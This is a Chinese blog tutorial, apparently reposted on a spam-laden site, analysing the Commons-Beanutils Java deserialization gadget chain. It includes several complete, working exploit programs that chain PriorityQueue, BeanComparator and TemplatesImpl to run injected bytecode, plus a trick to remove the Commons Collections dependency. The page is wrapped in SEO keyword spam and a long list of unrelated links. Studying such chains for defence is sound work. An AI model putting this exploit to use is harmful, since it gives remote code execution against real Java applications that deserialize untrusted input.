当前位置: 首页 > wzjs >正文

品牌网站建设找哪家游戏推广文案

品牌网站建设找哪家,游戏推广文案,门户网站建站注意事项,大气网站源码下载说明 如果您之前未了解过 Commons Collections(CC)利用链,建议您先阅读相关基础文章,然后再回头阅读此文章。这样可以更好地理解其中的内容 Java反序列化-Commons Collections3利用链分析详解 Java反序列化-Commons Collections…

说明

      如果您之前未了解过 Commons Collections(CC)利用链,建议您先阅读相关基础文章,然后再回头阅读此文章。这样可以更好地理解其中的内容

Java反序列化-Commons Collections3利用链分析详解

Java反序列化-Commons Collections4利用链详解

什么是Java Bean?

      Java Bean 本质上是一种 Java 规范:必须包含一个无参构造方法;类的属性需私有化,并通过相应的 get、set 方法访问,且方法命名需遵循 getXxx() 格式

public class User{private String name;private boolean active;// 无参构造器public User() {}public String getName() {return name;}public void setName(String name) {this.name = name;}public boolean isActive() {return active;}public void setActive(boolean active) {this.active = active;}
}

      而我们要分析的 Commons Beanutils 作为 Java Bean 的增强版本,提供了更多工具类,从而使 Java Bean 相关操作的调用更加便捷

public static void main(String[] args) {User user = new User();//设置属性值PropertyUtils.setProperty(user, "name", "Bob"); PropertyUtils.setProperty(user, "age", "30");//获取属性值String name = PropertyUtils.getProperty(user, "name");String ageStr = PropertyUtils.getProperty(user, "age");
}

测试环境

  • JDK 8u65
<dependency><groupId>commons-beanutils</groupId><artifactId>commons-beanutils</artifactId><version>1.8.3</version>
</dependency>
<dependency><groupId>commons-logging</groupId><artifactId>commons-logging</artifactId><version>1.2</version>
</dependency>

无依赖利用链

      CB 链与 CC4 链的构造思路类似,均通过反序列化触发比较器操作。但 CB 链的核心在于使用 commons-beanutils 的 BeanComparator 替代 CC4 中的 TransformedComparator。当反序列化后的 BeanComparator 执行 compare() 方法时,会通过 PropertyUtils.getProperty() 反射调用目标对象的特定 getter 方法(如 TemplatesImpl.outputProperties),从而触发恶意代码执行

PropertyUtils.getProperty

      我们先来分析一下 PropertyUtils.getProperty 传入数据都做了些什么

      跟进 PropertyUtils.getProperty 方法,发现它调用了 PropertyUtilsBean 类中的 getProperty 方法,继续深入跟进

      继续跟进 getNestedProperty 方法

    public Object getNestedProperty(Object bean, String name)throws IllegalAccessException, InvocationTargetException,NoSuchMethodException {if (bean == null) {throw new IllegalArgumentException("No bean specified");}if (name == null) {throw new IllegalArgumentException("No name specified for bean class '" +bean.getClass() + "'");}// Resolve nested referenceswhile (resolver.hasNested(name)) {String next = resolver.next(name);Object nestedBean = null;if (bean instanceof Map) {nestedBean = getPropertyOfMapBean((Map) bean, next);} else if (resolver.isMapped(next)) {nestedBean = getMappedProperty(bean, next);} else if (resolver.isIndexed(next)) {nestedBean = getIndexedProperty(bean, next);} else {nestedBean = getSimpleProperty(bean, next);}if (nestedBean == null) {throw new NestedNullException("Null property value for '" + name +"' on bean class '" + bean.getClass() + "'");}bean = nestedBean;name = resolver.remove(name);}if (bean instanceof Map) {bean = getPropertyOfMapBean((Map) bean, name);} else if (resolver.isMapped(name)) {bean = getMappedProperty(bean, name);} else if (resolver.isIndexed(name)) {bean = getIndexedProperty(bean, name);} else {bean = getSimpleProperty(bean, name);}return bean;}

      这里对传入的 bean 类型进行判断,如果不符合前三个 if 判断的类型,就会进入 getSimpleProperty 方法。正常情况下,我们不会传入 Map 类型的数据,因此在大多数情况下,依然会执行 getSimpleProperty 方法。继续跟进 getSimpleProperty 方法

      最终,传入的 bean 会通过反射机制被调用执行。到这里,getProperty 方法的执行流程分析完了

      反射调用 getter 本身不会直接导致代码执行,因此需要找到一个既符合 JavaBean 规范又包含危险操作的方法

      结合之前分析的 CC4 利用链,我们可以使用 TemplatesImpl 类。TemplatesImpl 的 getOutputProperties 方法符合 JavaBean 规范,并且其内部会调用 newTransformer 方法,该方法会加载恶意字节码,从而触发代码执行

      (CC3 中的类加载执行恶意代码,这里就不再分析了,如果不太理解可以先看看前面的 CC3/CC4 分析)

构造EXP

package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.BeanUtils;
import org.apache.commons.beanutils.PropertyUtils;import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;public class test {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();byte[][] code = {Files.readAllBytes(Paths.get("F:\\Java开发目录\\cbtest\\target\\classes\\org\\example\\Calc.class"))};setFieldValue(templates, "_bytecodes", code);setFieldValue(templates, "_name", "nb666");setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());PropertyUtils.getProperty(templates,"outputProperties");}public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}
}

BeanComparator.compare

      刚才已经证实这条链是可行的,那么接下来回到 PropertyUtils.getProperty,查找有哪些地方调用了 getProperty。前面已经提到过相关内容,所以这里直接跟进 BeanComparator 类

      在 compare 方法中调用了 PropertyUtils.getProperty,并传入了 o1 和 property。因此,我们可以将 o1 设为 TemplatesImpl 类,并将 getOutputProperties 传给 property,使其调用该方法,从而触发代码执行

      接下来查找 compare 方法的调用位置。事实上,这里不需要继续查找,因为在 CC4 链中,反序列化是通过 PriorityQueue(优先队列)触发的,而 PriorityQueue 在操作过程中会调用 compare,从而形成这条利用链。不清楚的可以参考下之前的 CC4 分析

构造完整EXP (坑)

package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.BeanUtils;
import org.apache.commons.beanutils.PropertyUtils;import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;public class test {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();byte[][] code = {Files.readAllBytes(Paths.get("F:\\Java开发目录\\cbtest\\target\\classes\\org\\example\\Calc.class"))};setFieldValue(templates, "_bytecodes", code);setFieldValue(templates, "_name", "nb666");setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());BeanComparator beanComparator = new BeanComparator();PriorityQueue<Object> queue = new PriorityQueue<Object>(beanComparator);queue.add("1");queue.add("2");// add之后再反射改回来避免提前触发setFieldValue(beanComparator,"property","outputProperties");setFieldValue(queue,"queue",new Object[]{templates, templates});serialize(queue);unserialize("ser.bin");}public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String filename) throws IOException, ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));return ois.readObject();}
}

解决没有CC依赖报错问题

      这里报错提示没有 commons.collections 这个依赖,但我们实际上并没有用到它 

      再仔细一看,发现报错出现在第 26 行,直接跟进 BeanComparator,查看它的无参构造方法执行了什么操作

      在调用无参构造时,property 默认被赋值为空,随后执行到第 81 行,调用了 CC 里的一个方法。由于这里没有导入 CC 依赖,因此导致报错

      接着往下翻,发现这里有一个带参数的构造方法,可以传入一个 Comparator

      跟进 Comparator 进行查看,发现它是一个接口,如果想让代码成功反序列化,我们就需要找到一个同时实现了 Comparator 和 Serializable 的类

      这里懒得自己找了,直接问 DeepSeek 就行了 (DeepSeek YYDS)

构造终极EXP

      直接将 String.CASE_INSENSITIVE_ORDER 传入 BeanComparator 即可

package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.BeanUtils;
import org.apache.commons.beanutils.PropertyUtils;import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;public class test {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();byte[][] code = {Files.readAllBytes(Paths.get("F:\\Java开发目录\\cbtest\\target\\classes\\org\\example\\Calc.class"))};setFieldValue(templates, "_bytecodes", code);setFieldValue(templates, "_name", "nb666");setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());BeanComparator beanComparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);PriorityQueue<Object> queue = new PriorityQueue<Object>(beanComparator);queue.add("1");queue.add("2");// add之后再反射改回来避免提前触发setFieldValue(beanComparator,"property","outputProperties");setFieldValue(queue,"queue",new Object[]{templates, templates});serialize(queue);unserialize("ser.bin");}public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String filename) throws IOException, ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));return ois.readObject();}
}

      成功弹窗,六百六十六

总结

PriorityQueue.readObject() -> heapify()heapify() -> siftDownUsingComparator()siftDownUsingComparator() -> compare()compare() -> BeanComparator.compare()BeanComparator.compare() -> PropertyUtils.getProperty()PropertyUtils.getProperty() -> TemplatesImpl.getOutputProperties()TemplatesImpl.getOutputProperties() -> TemplatesImpl.newTransformer()TemplatesImpl.newTransformer() -> TemplatesImpl.getTransletInstance()TemplatesImpl.getTransletInstance() -> defineTransletClasses()


文章转载自:

http://Kv02Qqi9.tbqbd.cn
http://BIlWL1WP.tbqbd.cn
http://eCJBIYdS.tbqbd.cn
http://xidv4ueT.tbqbd.cn
http://HaYWHOnm.tbqbd.cn
http://g0XZrEZu.tbqbd.cn
http://AaGjrPQi.tbqbd.cn
http://VGkm9lPC.tbqbd.cn
http://duJCBpHQ.tbqbd.cn
http://9XNWvMmZ.tbqbd.cn
http://qxHmLxNp.tbqbd.cn
http://QkSN2xhR.tbqbd.cn
http://2pJKpuCL.tbqbd.cn
http://9Ux1qt63.tbqbd.cn
http://ebSaO4hg.tbqbd.cn
http://bE7xQ75I.tbqbd.cn
http://Ac7sK1iF.tbqbd.cn
http://szA0Suog.tbqbd.cn
http://0IS7HZfj.tbqbd.cn
http://ysGakZmQ.tbqbd.cn
http://AWtiTeDT.tbqbd.cn
http://slJRlzVb.tbqbd.cn
http://w59Rl3wT.tbqbd.cn
http://hBRibydK.tbqbd.cn
http://AYnyoljz.tbqbd.cn
http://g8JLM1e8.tbqbd.cn
http://qRKqjrf5.tbqbd.cn
http://6svWL5mI.tbqbd.cn
http://0RIbApty.tbqbd.cn
http://XaXHtmIu.tbqbd.cn
http://www.dtcms.com/wzjs/778185.html

相关文章:

  • 网站换程序 搜索引擎5东莞网站建设
  • 工程建设项目在哪个网站查询软件开发工具属于
  • 乔拓云智能建站官网应用软件商店
  • 技术支持 湖州网站建设网站用Access做数据库
  • 江西建设厅网站财务部广州安全教育平台登录账号登录入口
  • 网站建设对于学校的重要性注册网站要求
  • 黑龙江省建设会计协会网站首页wordpress页面设计
  • 驻马店公司做网站房地产的设计网站建设
  • 网站icp申请手机网站制作哪家好
  • 长沙竞价网站建设价格竞价网站怎么做seo
  • 秦皇岛网站优化公司企业发展建议
  • 网站地图建设有什么用营销型网站建设推荐乐云seo
  • 长春网站分析做网站的入门书籍
  • 徐汇专业做网站网站建设页面设计规格
  • wordpress网站不显示系列iis怎么做IP网站
  • 长春紧急通知网站优化开发
  • 跨境电商网站建设流程cms监控系统电脑版
  • 网站服务器建设教程修改wordpress主体
  • 凡科网站产品导航怎么做昆明建网站电话
  • 网站开发设计合同范本高级网站开发工程师证书
  • 哈尔滨制作网站的公司最新新闻国内大事件
  • 网站页面示意图怎么做免费企业cms
  • 个人博客网站下载如何自建公司网站
  • 做外贸的专业网站动漫做h免费网站有哪些
  • 手机网站给一个wordpress插件设置
  • 东莞微信网站建设网站开发的费用申请
  • 制作手机网站什么软件网站建设中的智能元素
  • 网站建设与管理课程实训异次元wordpress模板
  • 企业网站设计建设对于网站建设的体会
  • 怎么做网站的防盗链wordpress在线搭建